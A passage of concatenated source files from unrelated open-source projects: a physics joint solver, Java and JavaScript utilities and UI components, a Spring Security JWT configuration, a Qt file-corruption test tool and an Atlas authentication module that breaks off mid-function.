object.sAx = 0_m;
object.sBx = 0_m;
}
// Rotational motor
if (object.enableMotor)
{
const auto invRotInertia = invRotInertiaA + invRotInertiaB;
object.angularMass = (invRotInertia > InvRotInertia{0})? Real{1} / invRotInertia: RotInertia{0};
}
else
{
object.angularMass = RotInertia{0};
object.angularImpulse = 0;
}
if (step.doWarmStart)
{
// Account for variable time step.
object.impulse *= step.dtRatio;
object.springImpulse *= step.dtRatio;
object.angularImpulse *= step.dtRatio;
const auto P = object.impulse * object.ay + object.springImpulse * object.ax;
// Momentum is M L T^-1. Length * momentum is L^2 M T^-1
// Angular momentum is L^2 M T^-1 QP^-1
const auto LA = AngularMomentum{(object.impulse * object.sAy + object.springImpulse * object.sAx) / Radian + object.angularImpulse};
const auto LB = AngularMomentum{(object.impulse * object.sBy + object.springImpulse * object.sBx) / Radian + object.angularImpulse};
velA -= Velocity{invMassA * P, invRotInertiaA * LA};
velB += Velocity{invMassB * P, invRotInertiaB * LB};
}
else
{
object.impulse = 0;
object.springImpulse = 0;
object.angularImpulse = 0;
}
bodyConstraintA.SetVelocity(velA);
bodyConstraintB.SetVelocity(velB);
}
bool SolveVelocity(WheelJointConf& object, std::vector<BodyConstraint>& bodies,
const StepConf& step)
{
auto& bodyConstraintA = At(bodies, GetBodyA(object));
auto& bodyConstraintB = At(bodies, GetBodyB(object));
const auto oldVelA = bodyConstraintA.GetVelocity();
const auto invMassA = bodyConstraintA.GetInvMass();
const auto invRotInertiaA = bodyConstraintA.GetInvRotInertia();
const auto oldVelB = bodyConstraintB.GetVelocity();
const auto invMassB = bodyConstraintB.GetInvMass();
const auto invRotInertiaB = bodyConstraintB.GetInvRotInertia();
auto velA = oldVelA;
auto velB = oldVelB;
// Solve spring constraint
{
const auto dot = LinearVelocity{Dot(object.ax, velB.linear - velA.linear)};
const auto Cdot = dot + object.sBx * velB.angular / Radian - object.sAx * velA.angular / Radian;
const auto impulse = -object.springMass * (Cdot + object.bias + object.gamma * object.springImpulse);
object.springImpulse += impulse;
const auto P = impulse * object.ax;
const auto LA = AngularMomentum{impulse * object.sAx / Radian};
const auto LB = AngularMomentum{impulse * object.sBx / Radian};
velA -= Velocity{invMassA * P, invRotInertiaA * LA};
velB += Velocity{invMassB * P, invRotInertiaB * LB};
}
// Solve rotational motor constraint
{
const auto Cdot = (velB.angular - velA.angular - object.motorSpeed);
auto impulse = AngularMomentum{-object.angularMass * Cdot};
const auto oldImpulse = object.angularImpulse;
const auto maxImpulse = AngularMomentum{step.deltaTime * object.maxMotorTorque};
object.angularImpulse = std::clamp(object.angularImpulse + impulse,
-maxImpulse, maxImpulse);
impulse = object.angularImpulse - oldImpulse;
velA.angular -= AngularVelocity{invRotInertiaA * impulse};
velB.angular += AngularVelocity{invRotInertiaB * impulse};
}
// Solve point to line constraint
{
const auto dot = LinearVelocity{Dot(object.ay, velB.linear - velA.linear)};
const auto Cdot = dot + object.sBy * velB.angular / Radian - object.sAy * velA.angular / Radian;
const auto impulse = -object.mass * Cdot;
object.impulse += impulse;
const auto P = impulse * object.ay;
const auto LA = AngularMomentum{impulse * object.sAy / Radian};
const auto LB = AngularMomentum{impulse * object.sBy / Radian};
velA -= Velocity{invMassA * P, invRotInertiaA * LA};
velB += Velocity{invMassB * P, invRotInertiaB * LB};
}
if ((velA != oldVelA) || (velB != oldVelB))
{
bodyConstraintA.SetVelocity(velA);
bodyConstraintB.SetVelocity(velB);
return false;
}
return true;
}
bool SolvePosition(const WheelJointConf& object, std::vector<BodyConstraint>& bodies,
const ConstraintSolverConf& conf)
{
auto& bodyConstraintA = At(bodies, GetBodyA(object));
auto& bodyConstraintB = At(bodies, GetBodyB(object));
auto posA = bodyConstraintA.GetPosition();
const auto invMassA = bodyConstraintA.GetInvMass();
const auto invRotInertiaA = bodyConstraintA.GetInvRotInertia();
auto posB = bodyConstraintB.GetPosition();
const auto invMassB = bodyConstraintB.GetInvMass();
const auto invRotInertiaB = bodyConstraintB.GetInvRotInertia();
const auto qA = UnitVec::Get(posA.angular);
const auto qB = UnitVec::Get(posB.angular);
const auto rA = Rotate(object.localAnchorA - bodyConstraintA.GetLocalCenter(), qA);
const auto rB = Rotate(object.localAnchorB - bodyConstraintB.GetLocalCenter(), qB);
const auto d = Length2{(posB.linear - posA.linear) + (rB - rA)};
const auto ay = Rotate(object.localYAxisA, qA);
const auto sAy = Cross(d + rA, ay);
const auto sBy = Cross(rB, ay);
const auto C = Length{Dot(d, ay)};
const auto invRotMassA = invRotInertiaA * Square(object.sAy) / SquareRadian;
const auto invRotMassB = invRotInertiaB * Square(object.sBy) / SquareRadian;
const auto k = InvMass{invMassA + invMassB + invRotMassA + invRotMassB};
const auto impulse = (k != InvMass{0})? -(C / k): 0 * Kilogram * Meter;
const auto P = impulse * ay;
const auto LA = impulse * sAy / Radian;
const auto LB = impulse * sBy / Radian;
posA -= Position{invMassA * P, invRotInertiaA * LA};
posB += Position{invMassB * P, invRotInertiaB * LB};
bodyConstraintA.SetPosition(posA);
bodyConstraintB.SetPosition(posB);
return abs(C) <= conf.linearSlop;
}
} // namespace d2
} // namespace playrho
|
smilebingbing/java | offer/src/com/java/offer/Convert1.java | package com.java.offer;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.Queue;
/**
public class TreeNode {
int val = 0;
TreeNode left = null;
TreeNode right = null;
public TreeNode(int val) {
this.val = val;
}
}
*/
public class Convert1 {
public TreeNode Convert(TreeNode pRootOfTree) {
Queue<TreeNode> queue = new LinkedList<TreeNode>();
InOrder(pRootOfTree ,queue);
if(queue.isEmpty()){
return pRootOfTree;
}
pRootOfTree = queue.poll();
TreeNode pre = pRootOfTree;
pre.left = null;
TreeNode cur = null;
while(!queue.isEmpty()){
cur = queue.poll();
pre.right = cur;
cur.left = pre;
pre = cur;
}
pre.right = null;
return pRootOfTree;
}
public void InOrder(TreeNode head , Queue<TreeNode> queue){
if(head == null){
return ;
}
InOrder(head.left, queue);
queue.offer(head);
InOrder(head.right, queue);
}
} |
pongasoft/kiwidoc | kiwidoc/com.pongasoft.kiwidoc.builder/src/main/java/com/pongasoft/kiwidoc/builder/bytecode/ByteCodeParser.java | <filename>kiwidoc/com.pongasoft.kiwidoc.builder/src/main/java/com/pongasoft/kiwidoc/builder/bytecode/ByteCodeParser.java<gh_stars>1-10
/*
* Copyright (c) 2012 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.pongasoft.kiwidoc.builder.bytecode;
import com.pongasoft.kiwidoc.builder.model.ClassModelBuilder;
import com.pongasoft.kiwidoc.builder.model.LibraryModelBuilder;
import org.apache.commons.vfs.FileName;
import org.apache.commons.vfs.FileObject;
import org.apache.commons.vfs.FileSelectInfo;
import org.apache.commons.vfs.FileSelector;
import org.objectweb.asm.ClassReader;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.regex.Pattern;
/**
* @author <EMAIL>
*/
public class ByteCodeParser
{
private final static String CLASS_EXTENSION = "class";
public static final int ASM_SKIP_ALL = ClassReader.SKIP_FRAMES;
private static final class ClassFileSelector implements FileSelector
{
public static final ClassFileSelector INSTANCE = new ClassFileSelector();
public static final Pattern ANONYMOUS_CLASSES = Pattern.compile(".*\\$[0-9]+.*\\." + CLASS_EXTENSION + "$");
public boolean includeFile(FileSelectInfo fileSelectInfo) throws Exception
{
FileName name = fileSelectInfo.getFile().getName();
return name.getExtension().equals(CLASS_EXTENSION) &&
!ANONYMOUS_CLASSES.matcher(name.getBaseName()).matches();
}
public boolean traverseDescendents(FileSelectInfo fileSelectInfo) throws Exception
{
return true;
}
}
/**
* Constructor
*/
public ByteCodeParser()
{
}
public void parseClasses(LibraryModelBuilder library, FileObject classesResource) throws IOException
{
FileObject[] classes = classesResource.findFiles(ClassFileSelector.INSTANCE);
// TODO MED YP: handle inner classes (classModelBuilder.addInnerClass...)
if(classes != null)
{
for (FileObject classResource : classes)
{
ClassModelBuilder classModelBuilder;
InputStream is = classResource.getContent().getInputStream();
try
{
ClassReader reader = new ClassReader(new BufferedInputStream(is));
KiwidocClassVisitor classParser = new KiwidocClassVisitor();
reader.accept(classParser, 0);
classModelBuilder = classParser.getClassModel();
}
finally
{
is.close();
}
library.addClass(classModelBuilder);
}
}
}
}
|
julien641/IRC | SocketConnection/src/clientMessage/messageAction/ServerToClient/ActionLoginResponse.java | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package clientMessage.messageAction.ServerToClient;
import Interface.client.IChatThreadController;
import clientMessage.Message;
import javafx.application.Platform;
import javafx.scene.text.Text;
import clientMessage.messageAction.IMessageAction;
/**
*
* @author julien
*/
public class ActionLoginResponse implements IMessageAction{
private String response;
private IChatThreadController client;
private Message message;
public ActionLoginResponse(IChatThreadController client, String response, Message message)
{
this.message =message;
this.response = response;
this.client =client;
}
@Override
public void action() {
System.out.println("Response");
// Platform.runLater(() -> client.getChattabController().getChatbox().getChildren().add(new Text(message.getLogin().getUsername()+" welcome to my server \n")));
}
}
|
smn/helpdesk-docker | src/components/FaqCategory.js | import React, { Component, PropTypes } from 'react'
import { connect } from 'react-redux'
import { actions as faqActions } from '../redux/modules/faqs'
import { Faq } from './'
import { Table } from 'react-bootstrap'
const mapStateToProps = (state) => ({
categories: state.faqs.categories,
questions: state.faqs.questions,
results: state.faqs.results
})
export default class FaqCategory extends Component {
static propTypes = {
categories: PropTypes.array.isRequired,
results: PropTypes.array.isRequired,
searchFaq: PropTypes.func.isRequired,
children: PropTypes.object.isRequired,
params: PropTypes.object.isRequired,
questions: PropTypes.object.isRequired
};
componentDidMount () {
// this.props.loadFaqs()
}
faqId () {
return parseInt(this.props.params.id, 10)
}
getActiveFaq () {
return this.props.questions[this.faqId()]
}
render () {
const faqs = this.getActiveFaq()
const hasFaqs = faqs.length > 0
const nodes = !hasFaqs
? <tr><td>There are current no FAQs in this view.</td></tr>
: faqs.map(faq =>
<Faq
key={faq.id}
faq={faq} />
)
return (
<Table responsive striped hover>
<thead>
<tr>
<th>Question</th><th>Answer</th>
</tr>
</thead>
<tbody>
{ nodes }
{this.props.children}
</tbody>
</Table>
)
}
}
export default connect(mapStateToProps, faqActions)(FaqCategory)
|
AlhonGelios/AO | org/apache/poi/sl/usermodel/GroupShape.java | package org.apache.poi.sl.usermodel;
import java.awt.geom.Rectangle2D;
import org.apache.poi.sl.usermodel.PlaceableShape;
import org.apache.poi.sl.usermodel.Shape;
import org.apache.poi.sl.usermodel.ShapeContainer;
public interface GroupShape extends Shape, ShapeContainer, PlaceableShape {
Rectangle2D getInteriorAnchor();
void setInteriorAnchor(Rectangle2D var1);
}
|
rsadasiv/oop_nlp | similarity/src/main/java/com/outofprintmagazine/nlp/scorers/categorical/DocumentLength.java | <reponame>rsadasiv/oop_nlp<filename>similarity/src/main/java/com/outofprintmagazine/nlp/scorers/categorical/DocumentLength.java
package com.outofprintmagazine.nlp.scorers.categorical;
import java.util.ArrayList;
import java.util.List;
import com.outofprintmagazine.nlp.Ta;
import com.outofprintmagazine.nlp.scorers.ScorerImpl;
import com.outofprintmagazine.nlp.scores.Score;
import edu.stanford.nlp.ling.CoreAnnotations.ParagraphIndexAnnotation;
import edu.stanford.nlp.pipeline.CoreDocument;
import edu.stanford.nlp.pipeline.CoreSentence;
public class DocumentLength extends ScorerImpl implements DocumentCategoricalScorer {
// public DocumentLength() {
// super();
// }
public DocumentLength(Ta ta) {
super(ta);
}
@Override
public List<Score> scoreDocument(CoreDocument document) {
ArrayList<Score> retval = new ArrayList<Score>();
double tokenCount = 0;
double sentenceCount = 0;
double paragraphCount = 0;
for (CoreSentence sentence : document.sentences()) {
sentenceCount++;
paragraphCount = sentence.coreMap().get(ParagraphIndexAnnotation.class);
tokenCount += sentence.tokens().size();
}
retval.add(new Score("tokenCount", tokenCount));
retval.add(new Score("sentenceCount", sentenceCount));
retval.add(new Score("paragraphCount", paragraphCount));
return retval;
}
}
|
Peter-Korobeynikov/Master | js/addons/discussion/discussion.js | (function(_, $) {
(function($){
function _check_status_switch(data, params)
{
if (params.obj) {
var $ = Tygh.$;
var status = (data.return_status) ? data.return_status : params.status;
var s_elm = $(params.obj).parents('.cm-statuses:first');
s_elm.children('[class^="cm-status-"]').hide();
s_elm.children('.cm-status-' + status.toLowerCase()).show();
}
}
var methods = {
status_switch: function(elm) {
var jelm = $(elm);
var data = {
method: 'post',
obj: jelm,
status: jelm.data('caStatus'),
callback: _check_status_switch
};
var href = fn_url('tools.update_status?table=discussion_posts&id_name=post_id&id=' + jelm.data('caPostId') + '&status=' + jelm.data('caStatus'));
$.ceAjax('request', href, data);
}
};
$.extend({
ceDiscussion: function(method) {
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else {
$.error('ty.discussion: method ' + method + ' does not exist');
}
}
});
})($);
$(document).ready(function() {
$(_.doc).on('click', '.cm-status-switch', function (e) {
$.ceDiscussion('status_switch', e.target);
});
});
}(Tygh, Tygh.$)); |
ckamtsikis/cmssw | PhysicsTools/PatAlgos/plugins/PATJetUpdater.h | <filename>PhysicsTools/PatAlgos/plugins/PATJetUpdater.h
//
//
#ifndef PhysicsTools_PatAlgos_PATJetUpdater_h
#define PhysicsTools_PatAlgos_PATJetUpdater_h
/**
\class pat::PATJetUpdater PATJetUpdater.h "PhysicsTools/PatAlgos/interface/PATJetUpdater.h"
\brief Produces pat::Jet's
The PATJetUpdater produces analysis-level pat::Jet's starting from
a collection of pat::Jet's and updates information.
\author <NAME>
\version $Id: PATJetUpdater.h,v 1.00 2014/03/11 18:13:54 srappocc Exp $
*/
#include "FWCore/Framework/interface/stream/EDProducer.h"
#include "FWCore/Framework/interface/Event.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/Utilities/interface/InputTag.h"
#include "DataFormats/Common/interface/View.h"
#include "CommonTools/Utils/interface/PtComparator.h"
#include "DataFormats/PatCandidates/interface/Jet.h"
#include "DataFormats/PatCandidates/interface/UserData.h"
#include "PhysicsTools/PatAlgos/interface/PATUserDataHelper.h"
namespace pat {
class PATJetUpdater : public edm::stream::EDProducer<> {
public:
explicit PATJetUpdater(const edm::ParameterSet& iConfig);
~PATJetUpdater() override;
void produce(edm::Event& iEvent, const edm::EventSetup& iSetup) override;
static void fillDescriptions(edm::ConfigurationDescriptions& descriptions);
private:
// configurables
edm::EDGetTokenT<edm::View<reco::Jet> > jetsToken_;
bool sort_;
bool addJetCorrFactors_;
std::vector<edm::EDGetTokenT<edm::ValueMap<JetCorrFactors> > > jetCorrFactorsTokens_;
bool addBTagInfo_;
bool addDiscriminators_;
std::vector<edm::InputTag> discriminatorTags_;
std::vector<edm::EDGetTokenT<reco::JetFloatAssociation::Container> > discriminatorTokens_;
std::vector<std::string> discriminatorLabels_;
bool addTagInfos_;
std::vector<edm::InputTag> tagInfoTags_;
std::vector<edm::EDGetTokenT<edm::View<reco::BaseTagInfo> > > tagInfoTokens_;
std::vector<std::string> tagInfoLabels_;
GreaterByPt<Jet> pTComparator_;
bool useUserData_;
pat::PATUserDataHelper<pat::Jet> userDataHelper_;
//
bool printWarning_; // this is introduced to issue warnings only once per job
};
} // namespace pat
#endif
|
GideonCrawle/unified | Plugins/Events/Events/SkillEvents.hpp | #pragma once
#include "API/Vector.hpp"
#include "Common.hpp"
#include "Services/Hooks/Hooks.hpp"
namespace Events {
class SkillEvents
{
public:
SkillEvents(NWNXLib::Services::HooksProxy* hooker);
private:
static int32_t UseSkillHook(CNWSCreature*, uint8_t, uint8_t, ObjectID, Vector,
ObjectID, ObjectID, int32_t);
};
}
|
baldir-fr/slides-living-documentation | examples/code_analysis/diagram-IDE-FizzBuzzEnterpriseEdition/src/main/java/com/seriouscompany/business/java/fizzbuzz/packagenamingpackage/impl/parameters/DefaultFizzBuzzUpperLimitParameter.java | <reponame>baldir-fr/slides-living-documentation<filename>examples/code_analysis/diagram-IDE-FizzBuzzEnterpriseEdition/src/main/java/com/seriouscompany/business/java/fizzbuzz/packagenamingpackage/impl/parameters/DefaultFizzBuzzUpperLimitParameter.java
package com.seriouscompany.business.java.fizzbuzz.packagenamingpackage.impl.parameters;
import com.seriouscompany.business.java.fizzbuzz.packagenamingpackage.impl.Constants;
import com.seriouscompany.business.java.fizzbuzz.packagenamingpackage.interfaces.parameters.FizzBuzzUpperLimitParameter;
/**
* Parameter for DefaultFizzBuzzUpperLimit
*/
public final class DefaultFizzBuzzUpperLimitParameter implements FizzBuzzUpperLimitParameter {
private final int fizzBuzzUpperLimitParameterValue;
/**
*
*/
public DefaultFizzBuzzUpperLimitParameter() {
super();
this.fizzBuzzUpperLimitParameterValue = Constants.DEFAULT_FIZZ_BUZZ_UPPER_LIMIT_PARAMETER_VALUE;
}
/**
* @param fizzBuzzUpperLimitParameterValue int
*/
public DefaultFizzBuzzUpperLimitParameter(final int fizzBuzzUpperLimitParameterValue) {
super();
this.fizzBuzzUpperLimitParameterValue = fizzBuzzUpperLimitParameterValue;
}
/**
* @return int
*/
public int obtainUpperLimitValue() {
return this.fizzBuzzUpperLimitParameterValue;
}
}
|
ericosur/myqt | random_corrupt/core.cpp | <gh_stars>0
#include "core.h"
// qtlib
#include "trypath.h"
#include <nlohmann/json.hpp>
Core* Core::_instance = nullptr;
Core* Core::getInstance()
{
if (_instance == nullptr) {
_instance = new Core();
}
return _instance;
}
Core::Core()
{
}
void Core::dump()
{
qDebug() << Q_FUNC_INFO << endl
<< "bDebug:" << bDebug << endl
<< "kTest:" << kTest << endl
<< "prepare_length:" << prepare_length << endl
<< "prepare_fill:" << prepare_fill << endl
<< "prepare_fn:" << prepare_fn.c_str() << endl
<< "corrupt_length:" << corrupt_length << endl
<< "corrupt_count:" << corrupt_count << endl
<< "corrupt_byte:" << corrupt_byte << endl
<< "read_fn:" << read_fn.c_str();
qDebug() << "action list ==>";
for (size_t i=0; i<v.size(); ++i) {
qDebug() << v.at(i).c_str();
}
}
void Core::read_config()
{
QStringList pl;
pl << "./" << "../" << getHomepath();
QString result;
if (!searchFileFromList(pl, "setting.json", result)) {
qWarning() << "cannot find setting.json, abort...";
exit(EXIT_REASON_ERROR);
}
std::string fn = result.toUtf8().data();
std::fstream fin(fn);
//nlohmann::json
nlohmann::json j;
CHECK_IF_DEBUG( qDebug() << "read config from:" << fn.c_str() );
try {
fin >> j;
prepare_length = j.at("prepare").at("length");
prepare_fill = j.at("prepare").at("fill");
prepare_fn = j.at("prepare").at("filename");
corrupt_length = j.at("corrupt").at("block").at("length");
corrupt_count = j.at("corrupt").at("block").at("count");
corrupt_byte = j.at("corrupt").at("byte");
read_fn = j.at("read").at("filename");
v = j.at("action").get<std::vector<std::string>>();
} catch (nlohmann::json::parse_error& e) {
qDebug() << "json parse error:" << e.what();
exit(EXIT_REASON_ERROR);
} catch (nlohmann::json::out_of_range& e) {
qDebug() << "json no such value:" << e.what();
exit(EXIT_REASON_ERROR);
}
qDebug() << __func__ << "ok";
}
std::string Core::write_prepare_fn()
{
FILE* fp = fopen(prepare_fn.c_str(), "wb");
if (fp == nullptr) {
qWarning() << "cannot write file, abort...";
exit(EXIT_REASON_ERROR);
}
for (size_t i = 0; i < prepare_length; ++i) {
fputc(prepare_fill, fp);
}
fclose(fp);
return prepare_fn;
}
void Core::do_corrupt(const std::string& fn)
{
FILE* fp = fopen(fn.c_str(), "r+b");
CHECK_IF_DEBUG( qDebug() << "do corrupt on file:" << fn.c_str() );
if (fp == nullptr) {
qWarning() << "cannot read file for writing, abort...";
exit(EXIT_REASON_ERROR);
}
int random_pos = 20;
fseek(fp, random_pos, SEEK_SET);
fputc(corrupt_byte, fp);
fclose(fp);
}
std::string Core::read_file()
{
CHECK_IF_DEBUG( qDebug() << __func__ << read_fn.c_str() );
if ( try_read(read_fn) ) {
return read_fn;
}
return "";
}
bool Core::try_read(const std::string& fn)
{
bool result = false;
CHECK_IF_DEBUG( qDebug() << __func__ << fn.c_str() );
std::fstream fin(read_fn);
nlohmann::json k;
try {
fin >> k;
result = true;
} catch (nlohmann::json::parse_error& e) {
qWarning() << "read_file: parse_error:" << e.what();
result = false;
}
return result;
}
void Core::action()
{
read_config();
dump();
qDebug() << "start action =====>";
std::string fn;
for (size_t i=0; i<v.size(); ++i) {
QString act = v.at(i).c_str();
CHECK_IF_DEBUG( qDebug() << "=====>" << act );
if (act == "read") {
fn = read_file();
if (fn == "") {
qWarning() << "already corrupted";
}
} else if (act == "prepare") {
fn = write_prepare_fn();
} else if (act == "corrupt") {
do_corrupt(fn);
}
}
}
|
bd2019us/ctakes | ctakes-chunker/src/main/java/org/apache/ctakes/chunker/ae/DefaultChunkCreator.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.ctakes.chunker.ae;
import org.apache.uima.UimaContext;
import org.apache.uima.jcas.JCas;
import org.apache.uima.jcas.tcas.Annotation;
import org.apache.uima.resource.ResourceInitializationException;
import org.apache.ctakes.typesystem.type.syntax.Chunk;
/**
* This chunker creator simply creates annotations of type edu.mayo.bmi.chunker.type.Chunk and
* sets the chunkType feature of the annotation to the passed in parameter chunkType.
* @author Philip
* @see org.apache.ctakes.typesystem.type.syntax.Chunk
*/
public class DefaultChunkCreator implements ChunkCreator {
public void initialize(UimaContext uimaContext) throws ResourceInitializationException {
/* no initialization necessary */
}
public Annotation createChunk(JCas jCas, int start, int end, String chunkType) {
Chunk chunk = new Chunk(jCas, start, end);
chunk.setChunkType(chunkType);
chunk.addToIndexes();
return chunk;
}
}
|
activewidgets/systemjs-unpkg-config | plugins/typescript.js | <reponame>activewidgets/systemjs-unpkg-config<filename>plugins/typescript.js
define('getlibs/plugins/typescript', ['../src/worker'], function(WebWorker){
function transpiler(){
self.translate = function(address, source, options) {
/* global ts */
var result = ts.transpileModule(source, {
compilerOptions: options,
reportDiagnostics: true,
moduleName: address,
fileName: address
});
result.diagnostics.forEach(function(item){
item.file = null;
});
return result;
};
}
var worker = new WebWorker(['typescript', transpiler]),
options = SystemJS.typescriptOptions;
function error(items, address, source){
var item = items[0],
parts = source.substr(0, item.start).split('\n'),
line = parts.length,
message = item.messageText + ' (line: ' + line + ')\n\n' +
source.split('\n')[line-1] + '\n' +
parts[line-1].replace(/\S/g, ' ') + '^';
return new Error(message);
}
function translate(load){
return worker.call('translate', load.address, load.source, options).then(function(result){
if (result.diagnostics.length){
throw error(result.diagnostics, load.address, load.source);
}
load.metadata.sourceMap = JSON.parse(result.sourceMapText);
return result.outputText.replace(/^\/\/# sourceMappingURL=.+/m, '');
});
}
return {
translate: translate
};
}); |
yomeeinf/endless.pawsibility | backend/src/main/java/kamillobinski/sheltybackend/security/WebSecurityConfig.java | package kamillobinski.sheltybackend.security;
import kamillobinski.sheltybackend.security.jwt.AuthEntryPointJwt;
import kamillobinski.sheltybackend.security.jwt.AuthTokenFilter;
import kamillobinski.sheltybackend.security.services.UserDetailsServiceImpl;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
@Configuration
@EnableWebSecurity // @EnableWebSecurity allows Spring to find and automatically apply the class to the global Web Security.
@EnableGlobalMethodSecurity(prePostEnabled = true) // @EnableGlobalMethodSecurity provides Aspect-Oriented Programming security on methods and enables @PreAuthorize.
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
private final UserDetailsServiceImpl userDetailsService;
private final AuthEntryPointJwt unauthorizedHandler;
public WebSecurityConfig(UserDetailsServiceImpl userDetailsService, AuthEntryPointJwt unauthorizedHandler) {
this.userDetailsService = userDetailsService;
this.unauthorizedHandler = unauthorizedHandler;
}
@Bean
public AuthTokenFilter authenticationJwtTokenFilter() {
return new AuthTokenFilter();
}
@Override
public void configure(AuthenticationManagerBuilder authenticationManagerBuilder) throws Exception {
authenticationManagerBuilder.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}
@Bean
@Override
public AuthenticationManager authenticationManagerBean() throws Exception {
return super.authenticationManagerBean();
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
// Override default configure(HttpSecurity http) method
// from WebSecurityConfigurerAdapter.
// Defining:
// - how to configure CORS and CSRF,
// - when to authenticate user,
// - which filter is chosen and when to use it,
// - which Exception handler is chosen.
@Override
protected void configure(HttpSecurity http) throws Exception {
http.cors().and().csrf().disable()
.exceptionHandling().authenticationEntryPoint(unauthorizedHandler).and()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and()
.authorizeRequests()
.antMatchers("/api/auth/**").permitAll()
.antMatchers("/api/public/**").permitAll()
.antMatchers("/images/**").permitAll()
.anyRequest().authenticated();
http.addFilterBefore(authenticationJwtTokenFilter(), UsernamePasswordAuthenticationFilter.class);
}
}
|
markiewb/plantuml4idea | src/org/plantuml/idea/action/test/SaveTestAction.java | <reponame>markiewb/plantuml4idea
package org.plantuml.idea.action.test;
import com.intellij.openapi.actionSystem.AnActionEvent;
import com.intellij.openapi.project.DumbAwareAction;
import org.jetbrains.annotations.NotNull;
import org.plantuml.idea.external.PlantUmlFacade;
import org.plantuml.idea.plantuml.ImageFormat;
import org.plantuml.idea.plantuml.SourceExtractor;
import org.plantuml.idea.toolwindow.Zoom;
import java.io.File;
import java.util.Locale;
public class SaveTestAction extends DumbAwareAction {
@Override
public void actionPerformed(@NotNull AnActionEvent anActionEvent) {
for (ImageFormat value : ImageFormat.values()) {
try {
PlantUmlFacade.get().renderAndSave(SourceExtractor.TESTDOT, new File("testData/version.puml"), value, "F:\\workspace\\_projekty\\plantuml4idea\\out\\" + value.name() + "." + value.name().toLowerCase(Locale.ROOT), null, new Zoom(100), 0);
} catch (Throwable e) {
e.printStackTrace();
}
}
}
}
|
hongwonjun/Atlas | js/services/AuthAPI.js | define(function(require, exports) {
var $ = require('jquery');
var config = require('appConfig');
var ko = require('knockout');
var cookie = require('services/CookieAPI');
var TOKEN_HEADER = 'Bearer';
var LOCAL_STORAGE_PERMISSIONS_KEY = "permissions";
const httpService = require('services/http');
const AUTH_PROVIDERS = {
IAP: 'AtlasGoogleSecurity',
};
const AUTH_CLIENTS = {
SAML: 'AUTH_CLIENT_SAML',
};
const signInOpened = ko.observable(false);
function getBearerToken() {
return localStorage.bearerToken && localStorage.bearerToken !== 'null' && localStorage.bearerToken !== 'undefined' ? localStorage.bearerToken : null;
}
var authProviders = config.authProviders.reduce(function(result, current) {
result[config.api.url + current.url] = current;
return result;
}, {});
var getServiceUrl = function () {
return config.webAPIRoot;
};
var token = ko.observable(getBearerToken());
var authClient = ko.computed({
owner: ko.observable(localStorage.getItem("auth-client")),
read: function() {
return this();
},
write: function( newValue ) {
localStorage.setItem("auth-client", newValue);
this( newValue );
}
});
var getAuthorizationHeader = function () {
if (!token()) {
return null;
}
return TOKEN_HEADER + ' ' + token();
};
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!authProviders[settings.url] && settings.url.startsWith(config.api.url)) {
xhr.setRequestHeader('Authorization', getAuthorizationHeader());
}
}
});
var subject = ko.observable();
var permissions = ko.observable();
var fullName = ko.observable();
const authProvider = ko.observable();
authProvider.subscribe(provider => {
if (provider === AUTH_PROVIDERS.IAP) {
const id = 'google-iap-refresher';
const iframe = `<iframe id="${id}" src="/_gcp_iap/session_refresher" style="position: absolute; width:0;height:0;border:0; border:none;"></iframe>`;
$('#' + id).remove();
$('body').append(iframe);
}
});
const loadUserInfo = function() {
return new Promise((resolve, reject) => $.ajax({
url: config.api.url + 'user/me',
method: 'GET',
success: function (info, textStatus, jqXHR) {
permissions(info.permissions.map(p => p.permission));
subject(info.login);
authProvider(jqXHR.getResponseHeader('x-auth-provider'));
fullName(info.name ? info.name : info.login);
resolve();
},
error: function (err) {
if (err.status === 401) {
console.log('User is not authed');
subject(null);
resolve();
} else {
reject('Cannot retrieve user info');
}
}
}));
};
var tokenExpirationDate = ko.pureComputed(function() {
if (!token()) {
return null;
}
try {
var expirationInSeconds = parseJwtPayload(token()).exp;
return new Date(expirationInSeconds * 1000);
} catch (e) {
return new Date();
}
});
const tokenExpired = ko.observable(false);
const askLoginOnTokenExpire = (function() {
let expirationTimeout;
return () => {
if (expirationTimeout) {
clearTimeout(expirationTimeout);
}
if (!token()) {
tokenExpired(false);
return;
}
if (tokenExpirationDate() > new Date()) {
tokenExpired(false);
expirationTimeout = setTimeout(
() => {
